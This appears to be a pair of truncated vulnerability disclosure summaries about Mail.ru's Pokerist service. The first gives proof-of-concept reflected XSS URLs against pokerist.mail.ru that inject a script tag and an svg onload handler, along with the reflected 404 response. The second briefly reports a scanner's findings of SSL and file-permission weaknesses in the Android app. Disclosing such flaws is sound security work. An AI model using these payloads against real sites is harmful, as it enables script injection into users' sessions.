Mail.ru: [pokerist.mail.ru] XSS Request-URI

PoC FireFox: https://pokerist.mail.ru/%3Cscript%3Ealertdocument.domain%3C/script%3E https://pokerist.mail.ru/%3Csvg%20onload=alertdocument.domain%3E HTTP Response: html Error 404 Unable to resolve the request "alertdocument.domain". html Error 404 The system is unable to find the requested action...

Pokerist for Tango - Customized SSL, Dangerous filesystem permissions, WebView SSL handling enabled vulnerabilities

HackApp vulnerability scanner discovered that application Pokerist for Tango published at the 'play' market has multiple vulnerabilities...